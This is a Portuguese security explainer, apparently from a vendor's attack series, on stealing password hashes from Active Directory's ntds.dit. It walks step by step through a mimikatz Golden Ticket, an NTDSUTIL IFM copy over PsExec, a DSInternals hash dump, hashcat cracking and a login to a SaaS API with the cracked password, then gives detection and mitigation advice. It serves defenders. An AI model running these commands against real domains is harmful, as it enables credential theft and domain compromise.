Ataque de Extração de Senha NTDS.dit
Todos os dados no Active Directory são armazenados no arquivo ntds.dit (“o dit”) em todos os controladores de domínio (em C:\Windows\NTDS\ por padrão). Os atacantes podem usar os hashes de senha diretamente do dit para avançar seus objetivos. Quebrar as senhas dos usuários é benéfico mesmo que um adversário já tenha obtido domínio sobre o domínio, pois os usuários frequentemente reutilizam senhas em sistemas e aplicações dentro e fora do domínio.
Para obter acesso ao arquivo ntds.dit em um controlador de domínio, um adversário deve ter obtido acesso de administrador ao Active Directory. Alternativamente, um adversário poderia comprometer a solução de backup empresarial responsável pelo backup dos controladores de domínio e copiar ntds.dit de um backup. A maioria das organizações não rotaciona frequentemente o segredo krbtgt (veja o ataque Golden Ticket) então até backups mais antigos podem ser úteis.
Resumo de Ameaças
Alvo: Active Directory
Ferramentas: DSInternals, ntdsxtract, PowerSploit, mimikatz
Tática ATT&CK®: Acesso a Credenciais
Técnica ATT&CK: T1003.003
Dificuldade
Detecção: Médio
Mitigação: Média
Resposta: Difícil
Tutorial de Ataque: Como funciona a extração de senhas do NTDS.dit
PASSO 1: Obter os privilégios necessários
Um adversário deve possuir acesso ao sistema de arquivos de um controlador de domínio antes que ele possa extrair o ntds.dit. Como essa exigência torna a extração do ntds.dit um ataque de estágio avançado, um adversário poderia usar um hash de senha previamente comprometido para a conta de computador de um controlador de domínio para criar um Silver Ticket.
No exemplo abaixo, o adversário usa mimikatz para obter acesso ao sistema de arquivos de um controlador de domínio através de um Golden Ticket.
PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"
User: FakeUser1
Domain: domain.com (DOMAIN)
SID: S-1-5-21-441320023-234525631-506766575
User Id: 0
Groups Id : *513 512 520 518 519
ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt
Service: HOST
Target: DC1.domain.com
Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320
# A new command prompt window opens
C:\Windows\System32>
PASSO 2: Exfiltrar ntds.dit
Com acesso ao sistema de arquivos de um controlador de domínio, o adversário pode exfiltrar o ntds.dit bem como a chave do registro HKEY_LOCAL_MACHINE\SYSTEM, que é necessária para obter a Boot Key para descriptografar o ntds.dit.
Note que enquanto o Active Directory está em funcionamento, ele mantém um bloqueio do sistema de arquivos no arquivo ntds.dit, portanto, tentativas de copiá-lo falharão. Os adversários têm várias maneiras de contornar essa restrição; em particular, eles podem:
- Basta parar o Active Directory (embora isso provavelmente resulte em detecção).
- Utilize o Volume Shadow Copy Service (VSS) para criar um snapshot do volume e extrair o ntds.dit do snapshot.
- Utilize uma ferramenta PowerShell como o PowerSploit’s Invoke-NinjaCopy para copiar os arquivos mesmo que estejam em uso.
- Utilize uma ferramenta integrada como DSDBUtil.exe ou NTDSUtil.exe para criar arquivos de mídia de instalação do active directory.
PS> .\PSExec.exe \\dc1.domain.com cmd
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.1339]
(c) 2018 Microsoft Corporation. All rights reserved.
DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"
NTDSUTIL: Activate Instance NTDS
Active instance set to "NTDS".
NTDSUTIL: IFM
ifm: Create Full S:\Files
Creating snapshot...
Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit
Target Database: S:\Files\Active Directory\ntds.dit
DefragmentationStatus (Complete)
0102030405060708090100
|----|----|----|----|----|----|----|----|----|----|
...................................................
Copying registry files...
Copying S:\Files\registry\SYSTEM
Copying S:\Files\registry\SECURITY
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.
IFM media created successfully in S:\Files
ifm: q
NTDSUTIL: q
DC1 > Copy S:\Files \\wks2\Share
ETAPA 3: Extraia os hashes de senha
Uma vez que o adversário tenha exfiltrado o ntds.dit e a chave do registro HKLM\SYSTEM, ele não precisa mais de acesso à rede da organização. Um adversário interessado em quebrar as senhas geralmente deseja executar um ataque de força bruta com um computador otimizado para esse fim, mas primeiro precisará extrair os hashes do ntds.dit. O módulo PowerShell DSInternals fornece os cmdlets Get-BootKey e Get-ADDBAccount para esse propósito.
$Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM
Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |
Format-Custom -View HashcatNT |
Out-File C:\Hashdump.txt
PS> Get-Content C:\Hashdump.txt
f8ae01fc52f45dda7baf7a67721665f1
eed224b4784bb040aab50b8856fe9f02
# --- Output Truncated --- #
PASSO 4: Use os hashes de senha para alcançar objetivos adicionais
O adversário agora pode usar os hashes de senha em ataques pass-the-hash dentro do ambiente (talvez como um meio de persistência). Mais provavelmente, eles tentarão quebrar essas senhas para uso em ataques de preenchimento de credenciais contra sistemas que não estão unidos ao domínio. Neste exemplo, o adversário quebra os hashes para obter senhas em texto simples e as usa para se autenticar na API de um aplicativo SaaS.
PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1
Session..........: hashcat
Status...........: Running
Hash.Name........: NTLM
Hash.Target......: .\Hashdump.txt
Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)
Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1
Recovered........: 1/41 (2.44%) Digests
Progress.........: 189030831226880/218340105584896 (86.58%)
Rejected.........: 0/189030831226880 (0.00%)
Restore.Point....: 793149440/916132832 (86.58%)
Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256
Candidates.#1....: TNAZRwMl -> FYNkI2Jx
Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16
PS> Get-Content .\cracked.txt
852e811a65d732c83214b4ff705d777a:F8qN47F1
PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API
PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked
PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt
PS>$Object = New-Object -TypeName psobject
PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username
PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password
PS>$url = "https://service.url/api/login"
PS>$body = $Object | ConvertTo-Json
PS>$Header = @{ "accept" = "text/json"}
PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"
PS>$Headers = @{ 'Authorization' = "Bearer $Response" }
PS>$url = "https://service.url/api/DoThings"
PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers
PS>$Response
{ "statusCode": 200, "statusMessage": "Things Done!" }
Detectar, Mitigar e Responder
Detectar
Dificuldade: Médio
Tentativas de acesso ao ntds.dit podem ser detectadas usando o log de eventos do Windows. Os IDs de evento 4663 e 4656 da subcategoria Audit File System podem ser usados para auditar o acesso ao sistema de arquivos. Use esses eventos para monitorar tentativas de leitura ou modificação do ntds.dit, tanto regulares quanto de Cópia de Sombra de Volume.
Mitigar
Dificuldade: Média
Para mitigar o risco de extração de senhas do ntds.dit, utilize as seguintes melhores práticas para ajudar a garantir que adversários não obtenham os privilégios necessários para comprometer controladores de domínio em primeiro lugar:
- Audite rotineiramente o acesso administrativo ao Active Directory, incluindo direitos de Política de Grupo e configuração de auditoria para logons em controladores de domínio.
- Siga rigorosamente o princípio da clean source principle para controladores de domínio: Toda a infraestrutura (por exemplo, ESX e armazenamento anexado) na qual os controladores de domínio residem ou aplicações que prestam serviço aos controladores de domínio (como soluções de backup) devem operar no mesmo nível de segurança que os próprios controladores de domínio.
- Garanta a segurança física das máquinas controladoras de domínio. Se a segurança física não puder ser assegurada, considere executar controladores de domínio somente leitura para limitar a exposição de senhas.
- Não permita que usuários possuam privilégios administrativos além das fronteiras de segurança. Por exemplo, um adversário que inicialmente compromete uma estação de trabalho não deve ser capaz de escalar privilégios para se mover de uma estação de trabalho para um servidor ou controlador de domínio.
Responder
Dificuldade: Difícil
Se houver suspeita de comprometimento do ntds.dit, deve-se também assumir um comprometimento total do Active Directory; em particular, presume-se que o segredo krbtgt também foi comprometido. Tome as seguintes ações:
- Ative o processo de resposta a incidentes e alerte a equipe de resposta. A recuperação de um comprometimento total do Active Directory requer planejamento e esforço significativos.
Compartilhar em
Ver ataques de cibersegurança relacionados
Abuso de Permissões de Aplicativos Entra ID – Como Funciona e Estratégias de Defesa
Modificação do AdminSDHolder – Como Funciona e Estratégias de Defesa
Ataque AS-REP Roasting - Como Funciona e Estratégias de Defesa
Ataque Hafnium - Como Funciona e Estratégias de Defesa
Ataques DCSync Explicados: Ameaça à Segurança do Active Directory
Ataque a Contas de Serviço Gerenciadas por Grupo
Ataque Golden SAML
Entendendo ataques Golden Ticket
Ataque DCShadow – Como Funciona, Exemplos Reais e Estratégias de Defesa
Injeção de Prompt do ChatGPT: Entendendo Riscos, Exemplos e Prevenção
Ataque de Kerberoasting – Como Funciona e Estratégias de Defesa
Ataque Pass the Hash
Ataque Pass-the-Ticket Explicado: Riscos, Exemplos e Estratégias de Defesa
Ataque de Password Spraying
Ataque de Extração de Senha em Texto Simples
Vulnerabilidade Zerologon Explicada: Riscos, Explorações e Mitigação
Ataques de ransomware ao Active Directory
Desbloqueando o Active Directory com o Ataque Skeleton Key
Movimento Lateral: O que é, Como Funciona e Prevenções
Ataques Man-in-the-Middle (MITM): O que São & Como Preveni-los
Por que o PowerShell é tão popular entre os atacantes?
4 ataques a contas de serviço e como se proteger contra eles
Como Prevenir que Ataques de Malware Afetem o Seu Negócio
O que é Credential Stuffing?
Comprometendo o SQL Server com PowerUpSQL
O que são ataques de Mousejacking e como se defender contra eles
Roubando Credenciais com um Provedor de Suporte de Segurança (SSP)
Ataques de Rainbow Table: Como Funcionam e Como se Defender Contra Eles
Reconhecimento LDAP
Bypassando MFA com o ataque Pass-the-Cookie
Ataque Silver Ticket